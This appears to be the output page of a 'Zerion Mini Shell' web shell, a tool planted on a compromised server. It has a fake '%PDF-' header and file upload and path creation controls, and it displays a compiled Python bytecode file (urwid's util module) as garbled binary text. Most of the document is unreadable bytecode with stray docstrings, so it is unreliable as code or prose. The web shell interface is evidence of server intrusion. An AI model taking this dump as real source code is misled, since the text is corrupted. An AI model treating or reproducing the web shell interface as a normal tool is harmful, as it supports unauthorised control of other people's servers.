%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/current/usr/lib/python3/dist-packages/urwid/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/current/usr/lib/python3/dist-packages/urwid/__pycache__/util.cpython-36.pyc

3

��dZ�3�@sdddlmZmZddlmZddlmZmZmZddl	Z	ej
Z
e
jZe
jZe
j
Z
e
jZe
jZe
jZdd�Zde�kr|e�Znds�td��dad	ad
d�Zdd
�Zdd�Zee�dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z dd�Z!d d!�Z"d"d#�Z#d$d%�Z$Gd&d'�d'e%�Z&d(d)�Z'd*d+�Z(d,d-�Z)d.d/�Z*Gd0d1�d1e+�Z,d2d3�Z-Gd4d5�d5e.�Z/dS)6�)�division�print_function)�escape)�bytes�	text_type�
text_typesNcCs�ddl}y:y|j|jd�Wn|jk
r2YnX|j�dpBdStk
r�}z"|jrn|jdjd�rndS�WYdd}~XnXdS)Nr��zunknown locale)�locale�	setlocale�LC_ALL�ErrorZ	getlocale�
ValueError�args�
startswith)r
�e�r�,/usr/lib/python3/dist-packages/urwid/util.py�detect_encoding)sr�detected_encodingz
It worked!TcCsz|j�}|dkr tjd�dan&|dkr8tjd�dantjd�daday|r^dj|�|aWntk
rtYnXdS)z~
    Set the byte encoding to assume when processing strings and the
    encoding to use when converting unicode strings.
    �utf-8�utf8�utfF�euc-jp�euc-kr�euc-cn�euc-tw�gb2312�gbk�big5�cn-gb�uhc�eucjp�euckr�euccn�euctw�cncbZwideTZnarrow�asciirN)rrr)rrrrrrrr r!r"r#r$r%r&)�lower�str_utilZset_byte_encoding�_use_dec_special�_target_encoding�encode�LookupError)�encodingrrr�set_encodingBs&



r/cCstj�S)z�
    Get the mode Urwid is using when processing text strings.
    Returns 'narrow' for 8-bit encodings, 'wide' for CJK encodings
    or 'utf8' for UTF-8 encodings.
    )r)Zget_byte_encodingrrrr�get_encoding_modedsr0cCs.trjt|�tkrjy|jtj�}WnHtk
rhx2ttjtj	�D] \}}|j
|tj|tj�}q@WYnXt|�tkr�|j
tjtjd�}t
j|td�}t|t�s�t�tjjd�}tjjd�}|j|�}t|dt�s�t�|dj
|t��}g}g}|�r|j|�|jdt|�f�t|�dk�r,||fSx�|dd�D]�}	t|	t��sNt�t|t��s^t�|	j|d�}
t|
�dk�r�|
d}t|t��s�t�|j|�t|tjjd�t|�f��q:|
\}}|j
|t��}|�r�|j|�t|tjt|�f�|�r:|j|�t|dt|�f��q:Wt�j|�}
|
|fS)z:
    Return (encoded byte string, character set rle).
    r�replacer'rNr	)r*�typer�	translaterZDEC_SPECIAL_CHARMAP�NotImplementedError�zipZDEC_SPECIAL_CHARSZALT_DEC_SPECIAL_CHARSr1�SO�SI�codecsr,r+�
isinstancer�AssertionError�split�append�len�rle_append_modifyZDEC_TAG�join)�s�cZaltr6r7ZsisZsis0ZsoutZcoutZsnZslZsinZsonZoutstrrrr�apply_target_encodingmsV"




rBcCsto
tdkS)zi
    Return True if python is able to convert non-ascii unicode strings
    to the current encoding.
    r')r+rrrr�supports_unicode�srCcCs~|}d}}|dkrHt||||�\}}||krHd}t||||d�\}}|||}	t||||	�\}
}||	krrd}||
||fS)a	
    Calculate the result of trimming text.
    start_offs -- offset into text to treat as screen column 0
    end_offs -- offset into text to treat as the end of the line
    start_col -- screen column to trim at the left
    end_col -- screen column to trim at the right

    Returns (start, end, pad_left, pad_right), where:
    start -- resulting start offset
    end -- resulting end offset
    pad_left -- 0 for no pad or 1 for one space to be added
    pad_right -- 0 for no pad or 1 for one space to be added
    rr	)�
calc_text_pos)�textZ
start_offsZend_offs�	start_col�end_col�spos�pad_left�	pad_rightZsc�run�posrrr�calc_trim_text�srMcCs�t|dt|�||�\}}}}t|||�}	t|||�}
|r^t||d�}t|	|df�t|
d�|r�t||�}t|	|df�t|
d�t�j|�|||�t�j|�|	|
fS)z<
    Return ( trimmed text, trimmed attr, trimmed cs ).
    rr	N)Nr	)Nr	)rMr=�
rle_subseg�
rle_get_at�rle_append_beginning_modifyr>r�rjust)rE�attrZcsrFrGrH�eposrIrJZattrtrZcstr�alrrr�trim_text_attr_cs�s


rUcCs>d}|dkrdSx(|D] \}}|||kr.|S||7}qWdS)z-
    Return the attribute at offset pos.
    rNr)�rlerL�x�arKrrrrO�srOcCs�g}d}xv|D]n\}}|rH||kr4||8}||7}q||7}||8}d}||krRP|||krf||}||7}|j||f�qW|S)z$Return a sub segment of an rle list.r)r<)rV�start�end�lrWrXrKrrrrN�s$rNcCs>d}x4|D],}t|�tks&tt|���|\}}||7}q
W|S)z]
    Return the number of characters covered by a run length
    encoded attribute list.
    r)r2�tupler:�repr)rVrK�vrX�rrrr�rle_lens
r`cCs\|\}}|s ||fg|dd�<n8|d\}}||krF|||f|d<n||fg|dd�<dS)z�
    Append (a, r) (unpacked from *a_r*) to BEGINNING of rle.
    Merge with first run when possible

    MODIFIES rle parameter contents. Returns None.
    Nrr)rV�a_rrXr_rTrKrrrrPsrPcCsP|\}}|s|dd|kr0|j||f�dS|d\}}|||f|d<dS)z�
    Append (a, r) (unpacked from *a_r*) to the rle list rle.
    Merge with last run when possible.

    MODIFIES rle parameter contents. Returns None.
    r	rN���rbrb)r<)rVrarXr_ZlaZlrrrrr>0sr>cCs*|sdSt||d�||dd�7}dS)z�
    Append attribute list rle2 to rle.
    Merge last run of rle with first run of rle2 when possible.

    MODIFIES attr parameter contents. Returns None.
    Nrr	)r>)rV�rle2rrr�rle_join_modify>srdc
Cs�d}}|s|rgS|d\}}|d\}}g}x�|r�|r�t||�}	t|||f|	f�||	8}|dkr�|t|�kr�||\}}|d7}||	8}|dkr6|t|�kr6||\}}|d7}q6W|S)a
    Merge the runs of rle1 and rle2 like this:
    eg.
    rle1 = [ ("a", 10), ("b", 5) ]
    rle2 = [ ("Q", 5), ("P", 10) ]
    rle_product: [ (("a","Q"), 5), (("a","P"), 5), (("b","P"), 5) ]

    rle1 and rle2 are assumed to cover the same total run.
    r	r)�minr>r=)
�rle1rcZi1Zi2�a1Zr1�a2Zr2r[r_rrr�rle_productJs$


ricCsBg}g}x0|D](\\}}}t|||f�t|||f�qW||fS)z!
    Inverse of rle_product.
    )r>)rVrfrcrgrhr_rrr�
rle_factorhsrjc@seZdZdS)�TagMarkupExceptionN)�__name__�
__module__�__qualname__rrrrrktsrkcCsFt|d�\}}|ddd�j|�}|r>|dddkr>|d=||fS)z:Return (text string, attribute list) for tagmarkup passed.Nrr	rbrb)�_tagmarkup_recurser?)�tm�tlrTrErrr�decompose_tagmarkupvs
rrcCs�t|�tkr�g}g}xd|D]\}t||�\}}|rf|d\}}|d\}	}
||	krf|	||
f|d<|d=||7}||7}qW||fSt|�tkr�t|�dkr�td|f��|\}}t||�St|ttf�s�td|��|g|t|�fgfS)	zsReturn (text list, attribute list) for tagmarkup passed.

    tm -- tagmarkup
    attr -- current attribute or Noner	r�z5Tuples must be in the form (attribute, tagmarkup): %rzInvalid markup element: %rrbrbrb)	r2�listror\r=rkr9rr)rprRZrtlZral�elementrqrTZ	last_attrZlast_runZtop_attrZtop_runrrrro�s,

rocCs*t|�tko(t|�dko(|djd�dkS)N�rZmouse)r2r\r=�find)�evrrr�is_mouse_event�srycCs|jd�dkS)NZpressr)rw)rxrrr�is_mouse_press�srzcs eZdZdZ�fdd�Z�ZS)�	MetaSuperzadding .__supercsBtt|�j|||�t|d|�r*td��t|d|t|��dS)Nz
_%s__superz/Class has same name as one of its super classes)�superr{�__init__�hasattr�AttributeError�setattr)�cls�name�bases�d)�	__class__rrr}�szMetaSuper.__init__)rlrmrn�__doc__r}�
__classcell__rr)r�rr{�sr{cCs0t||dd|d�}|dd}||S)aW
    Scale val in the range [0, val_range-1] to an integer in the range
    [0, out_range-1].  This implementation uses the "round-half-up" rounding
    method.

    >>> "%x" % int_scale(0x7, 0x10, 0x10000)
    '7777'
    >>> "%x" % int_scale(0x5f, 0x100, 0x10)
    '6'
    >>> int_scale(2, 6, 101)
    40
    >>> int_scale(1, 3, 4)
    2
    r	rs)�int)�valZ	val_rangeZ	out_rangeZnumZdemrrr�	int_scale�sr�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�StoppingContextz�Context manager that calls ``stop`` on a given object on exit.  Used to
    make the ``start`` method on `MainLoop` and `BaseScreen` optionally act as
    context managers.
    cCs
||_dS)N)�_wrapped)�self�wrappedrrrr}�szStoppingContext.__init__cCs|S)Nr)r�rrr�	__enter__�szStoppingContext.__enter__cGs|jj�dS)N)r��stop)r��exc_inforrr�__exit__�szStoppingContext.__exit__N)rlrmrnr�r}r�r�rrrrr��sr�)0Z
__future__rrZurwidrZurwid.compatrrrr8r)rDZ
calc_widthZis_wide_charZmove_next_charZmove_prev_charZwithin_double_byter�localsrr:r+r*r/r0rBrCrMrUrOrNr`rPr>rdrirj�	Exceptionrkrrroryrzr2r{r��objectr�rrrr�<module>sN
"	=
'


Zerion Mini Shell 1.0